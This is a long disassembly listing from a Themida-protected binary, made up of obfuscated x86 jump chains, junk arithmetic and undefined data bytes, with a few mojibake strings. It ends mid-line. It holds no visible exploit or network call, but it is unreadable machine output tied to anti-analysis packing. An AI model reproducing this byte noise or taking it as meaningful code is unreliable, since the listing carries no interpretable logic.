loc_54860F: ; CODE XREF: Themida_:005465B2j and ebx, 0F642DC6h push ecx mov ecx, 28256FDBh jmp loc_547779 ; --------------------------------------------------------------------------- dd 505AF530h, 0C628C1B0h, 80EE0058h, 3059C1C6h, 0B2525AF0h dd 5AD30042h, 6AB05066h, 285AEB80h, 5AC380C3h, 0EB805866h dd 80C32885h, 0C38085C3h, 9FB2526Ah, 2AE95351h, 5900003Bh dd 46B9C381h, 0DBF73889h, 0C381D3F7h, 5CF65F71h, 562E9h dd 24048900h, 0E130D1B4h, 4F06E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54867E: ; CODE XREF: Themida_:0054B33Cj pop ebx loc_54867F: ; CODE XREF: Themida_:0054DCADj ; Themida_:loc_54FB9Bj push dword ptr [edi+24h] push eax push ebp push 643C2D2Fh pop ebp push ebx mov ebx, 0CF94F45h jmp loc_549DB5 ; --------------------------------------------------------------------------- db 68h, 0EDh, 4Eh dd 81591167h, 674EE9E9h, 0BAE95111h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486A7: ; CODE XREF: Themida_:0054EC6Aj inc eax dec eax jmp loc_54DA7E ; --------------------------------------------------------------------------- loc_5486AE: ; CODE XREF: Themida_:0055057Dj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebx push 5A0C3316h jmp loc_54DFF4 ; --------------------------------------------------------------------------- db 31h, 0F7h, 5Eh dd 0EF81D7F7h, 0C70486E2h, 815FFB01h, 4C3h, 74FF5300h dd 8F5B0424h, 0E95C2404h, 0FFFFDDFFh, 0E9240C89h, 1A10h dd 5702EDC1h, 9FA6E9h db 0 ; --------------------------------------------------------------------------- loc_5486FD: ; CODE XREF: Themida_:00546F91j add esp, 4 push eax jmp loc_54B10B ; --------------------------------------------------------------------------- db 81h, 0C6h, 7Bh dd 1AFCF77h, 0DD015EF5h, 576FED81h, 36E95FBFh, 0B900006Ch dd 0F0C5921h, 5DB8E981h, 0E98130EAh, 511D4BAAh, 7E04F181h dd 0E9810394h, 5E1475A7h, 8F18149h, 12D380Dh, 0DE04E9CAh db 2 dup(0FFh) word_54874A dw 77FFh ; DATA XREF: Themida_:00546238o dd 58669D1Ch, 24041166h, 0DD91E99Ch, 0C481FFFFh, 4, 8B24048Fh dd 0F662424h, 9C2404BBh, 0FFDD7AE9h, 4E981FFh, 894B6F4Eh dd 0FE73E9CAh, 0B951FFFFh, 444B1875h, 23FBF181h, 0C18118A3h dd 404B5434h, 0E981D1F7h, 62CC7039h, 960AE9h db 0 byte_54879D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00546408o dd 0E87EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5487A6: ; CODE XREF: Themida_:005464ECj add al, 58h sub al, 3Ch jmp loc_546696 ; --------------------------------------------------------------------------- db 8Bh dd 0E9522424h, 0FFFFFA17h dword_5487B8 dd 0E924248Bh, 0FFFFDD2Bh, 8836B652h, 0D5005AF5h, 1C01E95Ah ; DATA XREF: Themida_:00546390o dd 0D1490000h, 35C181E9h, 0E95F449Ah, 16E4h, 2046F181h dd 0E98113CBh, 51A91B84h, 1DC6C981h, 0E0E929A7h, 5B000059h dd 59F768h, 24348900h, 9054E9h db 0 byte_548801 db 64h, 66h, 8Bh ; DATA XREF: Themida_:005463B0o dd 3AABE902h, 0EFC10000h, 205AE905h, 0BE560000h, 2, 6DBB5351h dd 81655640h, 7355BACBh, 43E3D10Bh, 5A4FC381h, 0D9899EE7h dd 1607E9h, 42870500h, 0C22922FAh, 9F22E9h, 81EA0100h dd 0C17C71C2h, 242C8B68h, 94DAE9h, 24148B00h, 74D768h dd 24048900h, 405E089h, 0E9000000h, 1A22h ; --------------------------------------------------------------------------- loc_548868: ; CODE XREF: Themida_:00547071j push edi jmp loc_54CCB4 ; --------------------------------------------------------------------------- dw 0C33h dd 24248B24h, 0E9241489h, 96C2h ; --------------------------------------------------------------------------- loc_54887C: ; CODE XREF: Themida_:00551BA4j pop ebp sub ebp, 7BD523Dh jmp loc_54B065 ; --------------------------------------------------------------------------- dd 0D224248Bh, 0E99C242Ch, 0FFFFDC57h, 0C5E910B7h, 8700004Dh dd 248B2404h, 242C8924h, 0B8DF4BDh, 8FBE5600h, 81596F40h dd 84F681EEh, 5EF02926h, 966BA62Dh, 51FAE90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5488C2: ; CODE XREF: Themida_:0054CD2Dj add ebx, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_54FC90 ; --------------------------------------------------------------------------- loc_5488DF: ; CODE XREF: Themida_:00547334j push ecx mov ecx, esp push ebp jmp loc_55039F ; --------------------------------------------------------------------------- loc_5488E8: ; CODE XREF: Themida_:005469A7j mov edi, 0D400A035h add eax, edi mov edi, [esp] add esp, 4 sub eax, 3F550CC4h add eax, edi push ebx mov ebx, 3F550CC4h jmp loc_54A163 ; --------------------------------------------------------------------------- byte_548907 db 66h ; DATA XREF: Themida_:00546278o dd 8124048Bh, 4ECh, 24348900h, 6368E689h, 89000078h, 69B9240Ch dd 5121547Fh, 592414F7h, 0E9C1D1F7h, 4EC8304h, 0BE243489h dd 4D681C2Ch, 66B9514Eh, 0C10F3847h, 0C18108E1h, 0F647C22Fh dd 4FA3E9h db 0 ; --------------------------------------------------------------------------- loc_54894D: ; CODE XREF: Themida_:00550352j push ebx mov ebx, esp jmp loc_549DF0 ; --------------------------------------------------------------------------- byte_548955 db 68h, 85h, 7Dh ; DATA XREF: Themida_:0054633Co dd 24890000h, 3DA26824h, 34890000h, 4BE24h, 44810000h dd 2A480424h, 740124A1h, 6C810424h, 2A480424h, 49E924A1h dd 0FF00001Fh, 348B2434h, 4C48124h, 51000000h, 571CE9h db 0 byte_548995 db 8Bh, 4, 24h ; DATA XREF: Themida_:0054636Co dd 8904EC83h, 5954240Ch, 87EAE9h, 82E95C00h, 81FFFFFBh dd 4ECh, 24148900h, 0C6807AB6h, 0E9D6F6FFh, 44A7h dword_5489C0 dd 0E932FF66h, 0FFFFDB23h ; DATA XREF: Themida_:00546370o ; --------------------------------------------------------------------------- loc_5489C8: ; CODE XREF: Themida_:0054A6B4j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_54DCA8 ; --------------------------------------------------------------------------- db 0BFh, 2 dup(30h) dd 0F93109A4h, 81243C8Bh, 4C4h, 5F250500h, 0C8010B5Ah dd 5A5F252Dh, 240C8B0Bh, 4C481h, 2050000h, 50000000h, 42474FFh dd 24048F58h, 48B665Ch, 0E2895224h, 292CE9h, 41696800h dd 0A4E90000h, 0BD000001h, 77437CAh, 215DEA89h, 0CDE95AD6h dd 89000082h, 0FF542404h, 0E9582434h, 2EEEh, 273CCE81h dd 0F6810369h, 271A637Eh, 0D2DEE81h, 0F301D02Dh, 0DC8E9h db 0 ; --------------------------------------------------------------------------- loc_548A55: ; CODE XREF: Themida_:0054EC05j add esp, 4 add ecx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 0FEE119B8h and eax, ecx pop ecx shr eax, 0Ah xor eax, ecx jmp loc_546C64 ; --------------------------------------------------------------------------- loc_548A80: ; CODE XREF: Themida_:00547C62j push 83Bh mov [esp], eax mov eax, esp add eax, 4 push ebp jmp loc_54D6DA ; --------------------------------------------------------------------------- loc_548A95: ; CODE XREF: Themida_:00547FAAj mov [esp], edi push 691A7B09h mov edi, [esp] add esp, 4 add edi, 6D4D18B7h jmp loc_546797 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 87D0E9h, 2AC68100h, 5B746E0Ch, 0E9243433h, 0FFFFDEB4h dd 6F25EA81h, 0C229136Ah, 6F25B951h, 2AE9136Ah db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548ADB: ; CODE XREF: Themida_:00550A64j push 1A3717AFh pop edi jmp loc_5465D7 ; --------------------------------------------------------------------------- dw 0BD55h dd 5E9F7FA2h, 0FFF622E9h db 0FFh ; --------------------------------------------------------------------------- loc_548AF1: ; CODE XREF: Themida_:0054F76Bj pop edi jmp loc_547326 ; --------------------------------------------------------------------------- db 57h dd 0C7815F54h, 4, 4C781h, 3C870000h, 0DB60E924h, 0BA04FFFFh dd 0FE688B04h, 89000013h, 0B050241Ch, 301FB7F1h, 24048BC7h dd 2C04C483h, 4F800AEh, 241C8BAEh, 0E95F5457h, 0C90h, 8704EF83h dd 895C243Ch, 0CBBF243Ch, 0E971F14Bh, 81D6h ; --------------------------------------------------------------------------- loc_548B4C: ; CODE XREF: Themida_:0054DB68j push eax push ebp push 70AA1538h pop ebp add ebp, 17C20475h sub ebp, 7E1AB7D5h mov eax, ebp pop ebp add eax, 1 jmp loc_54DA8B ; --------------------------------------------------------------------------- db 5Ch, 66h, 89h dd 74E92404h db 0D9h, 2 dup(0FFh) byte_548B77 db 66h ; DATA XREF: Themida_:005462A4o dd 81240C8Bh, 4ECh, 242C8900h, 0B7685D54h, 89000052h, 4B682404h dd 8900001Ch, 6568240Ch, 5957FE7Ch, 251C181h, 0FF515640h dd 0E959240Ch, 0FFFFEBFFh, 685BD801h, 7883h, 0FF240489h dd 8B042474h, 94E92404h, 89000047h, 52E9240Ch, 80000067h dd 0D9E9DAEBh, 1000024h, 55565BDAh, 0FD27B868h, 0CD815D45h dd 4A8639F5h, 3AABE9h db 0 aM0FrSsw6 db '╛0ьfR╤≤ИW6',0 ; DATA XREF: Themida_:00546398o dd 24248B00h, 3C4FE9h db 0 byte_548BFD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005462D0o dd 3C106824h, 9BE90000h, 4000014h, 422C8Eh, 2C4204D0h dd 8BCE98Eh, 89570000h, 4C781E7h, 0E9000000h, 0FFFFF075h ; --------------------------------------------------------------------------- loc_548C28: ; CODE XREF: Themida_:005490CFj sub edx, 3DFE53BAh jmp loc_54D8FF ; --------------------------------------------------------------------------- db 21h dd 0EBC15FFBh, 23ADE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548C3E: ; CODE XREF: Themida_:00552788j mov [esp], ebp jmp loc_54D002 ; --------------------------------------------------------------------------- loc_548C46: ; CODE XREF: Themida_:0055031Dj mov eax, [esp] jmp loc_54F0DD ; --------------------------------------------------------------------------- dw 0F180h aYx db ' (кYX',0 dw 80C3h dd 0B60F3CEBh, 8734FFC0h, 0A9243481h, 0E962FA28h, 4983h dd 0E9FFEE80h, 31E8h, 815FFE01h, 6322E5EEh, 54685161h dd 0FF587978h, 0BAE92434h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548C8B: ; CODE XREF: Themida_:0054D646j push 17CFh jmp loc_54FA08 ; --------------------------------------------------------------------------- loc_548C95: ; CODE XREF: Themida_:0054C916j add ebp, 4 push edi jmp loc_548E4D ; --------------------------------------------------------------------------- loc_548CA1: ; CODE XREF: Themida_:0054C68Fj pop edi pop ebp sub eax, ebx add eax, 585B0D45h push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push esi jmp loc_54EEBA ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0E280D9B2h, 0B05066D2h, 66C22854h, 5224048Bh, 0F168E289h dd 0E9000064h, 8052h ; --------------------------------------------------------------------------- loc_548CE8: ; CODE XREF: Themida_:00546E8Fj pop ebp add eax, 99E2BE86h mov ebx, eax jmp loc_551C1E ; --------------------------------------------------------------------------- db 5, 4, 0 dd 13E90000h, 5FFFFFFBh, 4EE81h, 34330000h, 3A14E924h dd 88500000h, 58C788F0h, 8324148Bh, 0DFF604C4h, 9868E9h dd 2414F700h, 0C6814E5Eh, 7DF9664Ch, 815EF701h, 4EFh, 36FE6800h dd 3C890000h, 3063E924h, 0C1810000h, 89C329Dh, 735EE9h db 0 ; --------------------------------------------------------------------------- loc_548D4D: ; CODE XREF: Themida_:0055071Cj mov [esp], ebp push esi push 475962E3h pop esi push eax push esi mov esi, 0F3370EAh mov eax, 27CBE106h add eax, esi mov esi, [esp] add esp, 4 shr eax, 8 inc eax neg eax sub eax, 0EB67AAEFh jmp loc_54F394 ; --------------------------------------------------------------------------- db 66h dd 66681205h, 6DE9D001h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D87: ; CODE XREF: Themida_:0054669Cj mov bl, 58h jmp loc_5464F1 ; --------------------------------------------------------------------------- dw 5859h dd 57240C8Bh, 0C8E9E789h, 5D00002Bh, 15AD189h, 240C8BCBh dd 2C53E9h, 0E9E6D000h, 0FFFFF358h dword_548DB0 dd 61E868h, 24148900h, 0DEBD5550h, 0C1425534h, 0F58104EDh ; DATA XREF: Themida_:0054627Co dd 1CAE3EC7h, 120AE9h, 4EC8100h, 0E9000000h, 47F7h ; --------------------------------------------------------------------------- loc_548DD8: ; CODE XREF: Themida_:0054F052j mov ebx, 1000h mov ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_547458 ; --------------------------------------------------------------------------- dw 8F5Eh dd 248B2404h, 4296624h, 0F0E99C24h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DFB: ; CODE XREF: Themida_:00546F63j pop ebp add esi, eax push dword ptr [esp] pop eax jmp loc_54FD6B ; --------------------------------------------------------------------------- db 54h dd 4C2815Ah, 81000000h, 4C2h, 24148700h, 0CCE9595Ch db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E1F: ; CODE XREF: Themida_:00547799j xor ecx, [esp] jmp loc_5518C7 ; --------------------------------------------------------------------------- db 0FFh dd 0FB36832h, 0FAE90000h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E33: ; CODE XREF: Themida_:0054EA33j push eax jmp loc_54D639 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0F1h dd 57000088h, 5C1E9h db 0 ; --------------------------------------------------------------------------- loc_548E45: ; CODE XREF: Themida_:0054B395j xor edx, [esp] jmp loc_5527CF ; --------------------------------------------------------------------------- loc_548E4D: ; CODE XREF: Themida_:00548C9Cj mov edi, 4F7A7FBDh jmp loc_54B125 ; --------------------------------------------------------------------------- db 30h dd 5053240Ch, 0E951CC88h, 85EFh ; --------------------------------------------------------------------------- loc_548E64: ; CODE XREF: Themida_:00550173j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5464EB ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 4B8h, 8BC38100h, 552C9B6Bh, 230FE9h, 5AD58900h dd 5D1C6F09h, 0FFD656E9h db 0FFh ; --------------------------------------------------------------------------- loc_548E95: ; CODE XREF: Themida_:00551703j mov [esp], edi mov edi, 200000h and eax, edi mov edi, [esp] sub esp, 4 mov [esp], ebx push esp jmp loc_54DB09 ; --------------------------------------------------------------------------- loc_548EB1: ; CODE XREF: Themida_:00547C08j xor ecx, eax jmp loc_54C416 ; --------------------------------------------------------------------------- dd 0F231622Dh, 5F0014Eh, 4EF23162h, 79872D5Eh, 0D8016AF3h dd 0FFE8FBE9h, 0BAB951FFh, 0C114A413h, 0E98106E1h, 3D2A60E2h dd 3153C181h, 0F1816CA5h, 4356D9CBh, 5E59CF01h, 5A43E9h dd 24048300h, 98E95F04h, 81000069h, 4C7h, 243C8700h, 2A38E9h dd 240C8B00h, 1D2CE952h, 5D660000h, 24048F66h, 87665566h dd 0F766243Ch, 3C8766D7h, 0E95D6624h, 0FFFFD6B3h dword_548F30 dd 24248B66h, 0FFD5B2E9h, 0E78957FFh, 7EBDE9h, 11E95900h ; DATA XREF: Themida_:00546280o dd 8100006Bh, 4C3h, 0E6895600h, 0FFEC85E9h, 24348BFFh dd 13A1E9h, 24048B00h, 4C481h, 0EE810000h, 42710A50h, 0FFC68346h dd 2A45E9h db 0 ; --------------------------------------------------------------------------- loc_548F75: ; CODE XREF: Themida_:0054DCCCj xchg ebx, [esp] pop esp jmp loc_55211F ; --------------------------------------------------------------------------- dw 5866h dd 88CC8850h, 2DE958E2h, 1FFFFE9h, 8385E9F0h db 2 dup(0) word_548F92 dw 8B66h ; DATA XREF: Themida_:00546434o dd 2FE9240Ch db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F9B: ; CODE XREF: Themida_:00549343j neg ecx dec ecx sub ecx, 0E0F190D3h sub ebx, ecx pop ecx push ecx mov ecx, ebx mov esi, ecx mov ecx, [esp] add esp, 4 pop ebx mov edi, 59896181h xor edi, esi pop esi add edi, 3197481Fh xor edx, edi pop edi jmp loc_546B7D ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 5C240433h, 0F66F9F6h, 86E9CCB6h, 0BB000055h, 2Ch, 7DEFC381h dd 0FB016A97h, 4290BE56h, 0F7563365h, 8AE92414h, 0E900005Dh dd 0FFFFD4EFh dword_548FFC dd 24048150h, 4F767199h, 8124048Bh, 4C4h, 65B95100h, 87508700h ; DATA XREF: Themida_:0054641Co dd 87D5F7E9h, 19C181E9h, 8351D927h, 0C18101C1h, 4E244AE5h dd 435A3A2Dh, 52C8292Dh, 435A3ABAh, 312E2D2Dh, 0D0016558h dd 7D81E9h db 0 ; --------------------------------------------------------------------------- loc_549041: ; CODE XREF: Themida_:0054F8FEj mov [esp], eax mov eax, esp push ecx mov ecx, 4 add eax, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, 4 sub eax, ebp pop ebp jmp loc_54DE8B ; --------------------------------------------------------------------------- dw 2166h dd 0E99C2404h, 0FFFFD47Fh, 4EC81h, 0ECE90000h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549077: ; CODE XREF: Themida_:0054688Cj push ebp mov ebp, 5FE667FAh jmp loc_54BD09 ; --------------------------------------------------------------------------- loc_549082: ; CODE XREF: Themida_:00551506j mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_54CABE ; --------------------------------------------------------------------------- dw 0EFC1h dd 0F7814706h, 436AF894h, 5087C381h, 0FB29191Ah, 5087EB81h dd 815F191Ah, 99181AEBh, 0ABE95F55h, 87000020h, 685C241Ch dd 121Fh, 0E9241C89h, 86B3h ; --------------------------------------------------------------------------- loc_5490C8: ; CODE XREF: Themida_:00550424j push edx push 79B830E9h pop edx jmp loc_548C28 ; --------------------------------------------------------------------------- dd 0BB668h, 242C8900h, 904307BDh, 3E5C12Fh, 0F554ED81h dd 0E80110DFh, 0B60F665Dh, 0F686600h, 489666Bh, 0D3EDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490FE: ; CODE XREF: Themida_:00546CE1j pop esp jmp loc_550421 ; --------------------------------------------------------------------------- dd 8904EC83h, 50E9242Ch db 5Eh, 2 dup(0) byte_54910F db 0FFh ; DATA XREF: Themida_:00546358o dd 0F0E92434h, 57FFFFF0h, 0C7815F54h, 4, 7465E9h, 4E0C100h dd 226F6005h, 0D95BE976h, 0E888FFFFh, 66C63059h, 0B4505158h dd 57EEE917h, 0EA310000h, 8BD6015Dh, 0C4832414h, 4EC8304h dd 0B8240489h, 3D136770h, 0DF72D705h, 1E88330h, 865EBF57h dd 0F8316653h, 0D8B9E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54916E: ; CODE XREF: Themida_:0054B681j sub eax, 187FFFF8h mov ebp, eax pop eax jmp loc_546ECC ; --------------------------------------------------------------------------- db 0B8h dd 545E6F96h, 158C701h, 96EF81EFh, 55545E6Fh, 30186856h dd 815E431Eh, 777C24EEh, 9FC68179h, 81600651h, 5979B5C6h dd 5EF58938h, 5D5DEF29h, 3302EF83h, 3C31243Ch, 243C3324h dd 0FFF9B0E9h, 243C87FFh, 0FF24248Bh, 34FF2434h, 2434FF24h dd 4C48358h, 53E08950h, 4BBh, 322DE900h, 48F0000h, 94E95C24h dd 900005Dh, 641CE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5491EE: ; CODE XREF: Themida_:0054C420j mov esi, 6AD950D0h sub esi, 75170F3Bh xor esi, 5D640597h push esi jmp loc_54709C ; --------------------------------------------------------------------------- db 0FFh, 0Ch, 24h dd 0D2DDE99Ch, 48FFFFFh, 89525C24h, 4C281E2h, 68000000h dd 1B79h, 51243489h, 0FFF46CE9h, 0BFC181FFh, 3172FE44h dd 31CF31F9h, 87D7F7F9h, 0BE981F9h, 13E1A68h, 0C38359CBh dd 241C8704h, 44F7E9h, 24048F00h, 0FFFCA0E9h db 0FFh byte_549255 db 66h, 8Fh, 2 ; DATA XREF: Themida_:005463A0o dd 0FFD28EE9h, 4C683FFh, 0E9243487h, 5AFFh, 35AEEA81h dd 0CA81CE38h, 4FEF5495h, 0D631F231h, 0D6F7F231h, 0AEE9F287h dd 81FFFFE6h, 4C4h, 0DBCD8000h, 16A0E9h, 24148900h, 3185DF68h dd 6F42E93Eh, 68660000h, 89662DC9h, 72E92414h, 1FFFFD8h dd 8478E9D9h, 4BA0000h, 1000000h, 24148BD6h, 0E904C483h dd 78DDh, 0ECC0EC86h, 8E2EE906h, 0C3800000h, 26C3806Ch dd 0E903C380h, 3740h, 4C281h, 0BB530000h, 1D0601F5h, 834BDBF7h dd 0DBF701C3h, 6408E381h, 0C38169D5h, 0F6FC0004h, 1C8BDA01h dd 4C48124h, 33000000h, 14312414h, 24143324h, 8324248Bh dd 34FF04C4h, 240C8B24h, 0C5E95455h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549323: ; CODE XREF: Themida_:005510BEj sub esp, 4 mov [esp], esi push ebx mov ebx, 5BFF5BF2h xor ebx, 6A9374B9h push ecx mov ecx, 0BA7323Dh inc ecx shr ecx, 8 inc ecx jmp loc_548F9B ; --------------------------------------------------------------------------- dd 4BFh, 247C0100h, 0E95E5F04h, 2431h ; --------------------------------------------------------------------------- loc_549358: ; CODE XREF: Themida_:00547453j mov ebp, 0FFFFFFFFh add edx, ebp pop ebp sub edx, 51726D5Dh and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_54BDE3 ; --------------------------------------------------------------------------- db 31h dd 0B7E92404h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54937B: ; CODE XREF: Themida_:00546EDFj push ebx push edx mov edx, 4 mov ebx, edx pop edx add edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] add esp, 4 loc_549391: ; CODE XREF: Themida_:loc_550A5Aj push 2C94h mov [esp], ebp mov ebp, esp push eax mov eax, 2F5E32CDh sub eax, 0FAF492Ch not eax jmp loc_54A951 ; --------------------------------------------------------------------------- db 80h, 0C3h, 0AFh dd 582434FFh, 0F04C483h, 48DC0B6h, 1F2D6887h, 4890000h dd 0D121E924h, 4B9FFFFh, 1000000h, 0C78159CFh, 4, 0DBD3E957h dd 0E952FFFFh, 4597h, 4C181h, 0C1810000h, 4, 0FFE4CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5493F5: ; CODE XREF: Themida_:0054B2C9j add esp, 4 add esp, 4 jmp loc_54C35C ; --------------------------------------------------------------------------- dw 0D8BFh dd 8173F432h, 0E43DE1E7h, 0B5E7816Fh, 8144E24Ah, 0EF4769F7h dd 0E5EF811Eh, 15E0F47h, 2C335FFDh, 186FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54942E: ; CODE XREF: Themida_:0054EA4Dj sub esi, 0A71CD2F6h mov ecx, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub [esp+4], ecx mov ecx, [esp] add esp, 4 pop eax jmp loc_54B705 ; --------------------------------------------------------------------------- db 81h dd 2C4h, 88526600h, 88DD88EAh, 148B66D3h, 2C48324h, 8852D5F6h dd 50DD88EEh, 6833E9h, 0E9D6F700h, 0FFFFF281h, 0E930FF5Fh dd 0FFFFD05Bh, 1DE9E9F6h, 33FFFFF1h, 34312434h, 24343324h dd 5024248Bh, 405E089h, 2D000000h, 4, 2474FF50h, 48F5804h dd 1FE95C24h, 8700001Ah, 0E9D5F7E9h, 0FFFFDF2Fh ; --------------------------------------------------------------------------- loc_5494C8: ; CODE XREF: Themida_:0054AE24j push esi mov esi, 4 add ecx, esi pop esi jmp loc_5517A5 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 0B60FC330h, 8734FFC0h, 0FFD002E9h, 3CD366FFh dd 0F8E99C24h, 81FFFFCFh, 4C4h, 2BA5200h, 1000000h, 0FF575AD7h dd 5F042474h, 8B24048Fh, 8B662424h, 0EC832404h, 32BCE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54951A: ; CODE XREF: Themida_:005469D8j pop ebp push ebx mov ebx, 45E55050h and edx, ebx pop ebx shr edx, 7 xor edx, 942A4h jmp loc_5484BA ; --------------------------------------------------------------------------- loc_549532: ; CODE XREF: Themida_:00550134j push 363D4CFFh pop edx add ecx, edx pop edx push esi mov esi, 25947A6Ah shr esi, 6 sub esp, 4 mov [esp], edi mov edi, 10F73E9Eh add edi, 46A65F09h neg edi not edi push ebp mov ebp, 0E4D87F7Eh sub edi, ebp pop ebp sub esi, edi push dword ptr [esp] pop edi add esp, 4 and esi, 558C1EA4h and esi, 466954C3h add esi, 1 sub esp, 4 jmp loc_54DD7F ; --------------------------------------------------------------------------- dword_549588 dd 0E92434FFh, 0D5Ah, 815AD509h, 0DFD3F3C5h, 0E9EA89ECh ; DATA XREF: Themida_:00546360o dd 3ADh, 0E9240C31h, 4CC9h, 94E9C588h, 89FFFFE5h, 84E9240Ch db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5495B7: ; CODE XREF: Themida_:0055086Cj push esi push ebp mov ebp, 6C011808h add ebp, 52DF4051h jmp loc_54AEA5 ; --------------------------------------------------------------------------- db 50h, 0E9h, 78h dd 83FFFFD3h, 0C9FE04C4h, 21E9h db 0 ; --------------------------------------------------------------------------- loc_5495D9: ; CODE XREF: Themida_:0054CCD5j add eax, edx jmp loc_547711 ; --------------------------------------------------------------------------- loc_5495E0: ; CODE XREF: Themida_:0054D673j mov edx, ebx pop ebx sub edx, 6E28637Bh push esi jmp loc_54D9D6 ; --------------------------------------------------------------------------- loc_5495EF: ; CODE XREF: Themida_:0054FE95j sub ebp, 4 jmp loc_546FE9 ; --------------------------------------------------------------------------- dw 0BC68h dd 89000025h, 14F6240Ch, 2C1E924h, 0C7040000h, 5A2434FFh dd 4C481h, 0E9500000h, 0FFFFE209h, 4E07E6C1h, 5510E9h db 0 ; --------------------------------------------------------------------------- loc_549625: ; CODE XREF: Themida_:00547B15j pop esi sub esp, 4 jmp loc_54778E ; --------------------------------------------------------------------------- dw 0B8E9h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549633: ; CODE XREF: Themida_:0055040Ej push ecx jmp loc_547B66 ; --------------------------------------------------------------------------- db 68h, 0D5h, 12h dd 148B7252h, 0E2895224h, 36B0E9h, 0C6815A00h, 2FC51818h dd 0BD55EED1h, 81C474Dh, 815DEE01h, 5FECEDC6h, 5EF101B2h dd 0E9240C33h, 11BFh ; --------------------------------------------------------------------------- loc_54966C: ; CODE XREF: Themida_:0055118Aj pop edi xor esi, ebp mov ebp, [esp] add esp, 4 xor esi, 26537D73h add ecx, esi mov esi, [esp] add esp, 4 jmp loc_54A627 ; --------------------------------------------------------------------------- loc_54968B: ; CODE XREF: Themida_:0054DD3Fj push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 jmp loc_54A7CD ; --------------------------------------------------------------------------- dd 0C0CDC680h, 516602EEh, 0FBB45053h, 5AB75366h, 0AAE9FC28h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5496B3: ; CODE XREF: Themida_:0054A943j push ebp push 26B802EFh jmp loc_54CB67 ; --------------------------------------------------------------------------- dw 0BD55h dd 49C30E80h, 9DE9DDF7h, 81000091h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 74FF243Ch, 0A5E90424h, 8700002Ah, 0FF5C2434h dd 34FF2434h, 0E9505824h, 6465h, 158C289h, 0D67CE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549702: ; CODE XREF: Themida_:0054A988j add dword ptr [esp], 4 pop eax push ebx mov ebx, 505620Fh sub ebx, 505620Bh add eax, ebx jmp loc_54B089 ; --------------------------------------------------------------------------- dw 0F329h dd 68515Eh, 8B000000h, 0C483240Ch, 0E9D90104h, 18CCh, 0E9240C87h dd 0E26h, 89243C89h, 462068E7h, 0C890000h, 4B924h, 0CF010000h dd 0E9240C8Bh, 2A90h, 7CE95854h, 8100003Eh, 4C6h, 4EE8300h dd 5C243487h, 89243C89h, 4BE56E7h, 1000000h, 0BA525EF7h dd 4, 875AD701h, 0E95C243Ch, 0FFFFF94Ch dword_549788 dd 240C8B66h, 815D5455h, 4C5h, 427BE900h, 4CE90000h, 5FFFFCDh ; DATA XREF: Themida_:00546414o dd 2, 0FFECF6E9h, 242C89FFh, 3FCBDh, 5DEF0100h, 0FFC0B60Fh dd 0EC818734h, 4, 0E9242C89h, 41DDh, 0FBFCE951h, 335FFFFh dd 89385ADCh, 0EB2958C5h, 0E869E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5497DE: ; CODE XREF: Themida_:0054A3F5j sub esp, 4 mov [esp], ebx pop esi push ecx mov ecx, esi push ecx jmp loc_54D2D1 ; --------------------------------------------------------------------------- aRhm4 db 'Rh╛4',0 dw 8900h dd 69E9241Ch db 87h, 2 dup(0) byte_5497FF db 66h ; DATA XREF: Themida_:00546310o dd 8324048Bh, 76E904ECh db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54980B: ; CODE XREF: Themida_:00550C30j or ecx, 5EE13D37h xor ecx, 0FC56F91Dh push edx jmp loc_5480FF ; --------------------------------------------------------------------------- aL4Srd db '^▀4$ИЮ└',0 align 2 dw 0EC83h dd 24048904h, 2434FF54h, 